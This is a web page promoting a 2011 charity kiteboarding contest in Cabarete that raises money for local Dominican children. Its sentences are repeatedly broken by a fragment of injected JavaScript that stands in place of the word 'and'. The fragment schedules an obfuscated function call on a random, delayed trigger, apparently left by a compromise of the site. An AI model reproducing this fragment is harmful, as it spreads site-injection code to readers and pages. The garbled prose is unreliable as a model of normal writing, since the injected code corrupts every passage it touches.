Kiteboarding 4 Kids: A charity event for all ages
The 2010 Kiteboarding 4 Kids (the 2nd annual) was a massive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overwhelming success. Using a kiteboarding contest as our vehicle we raised over 20,000 USD in cash to donate to local Dominican charities.
KB4K is a special type of event because it’s one of the only that we know about where an event raises money for poor children andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the majority of the participants in the event are themselves the poor children who will receive the help.
We are rearing to go for 2011, the date is set:
10-13 March, 2011 right here at LEK in Cabarete
To make this event a success we need kiteboarders who are passionate about not only riding but also to giving back. Riders can do fundraising andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and win fabulous prizes – the top prize is a week stay in a beautiful beachfront villa right in Cabarete Bay!!
The competition is only for fun, but the two disciplines are: short distance racing (one tack around a buoy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and back to the beach) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and big air. This is something riders of all levels can participate in. Beyond the fun at the beach we have great evening festivities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s an incredible way to be a part of something very special.
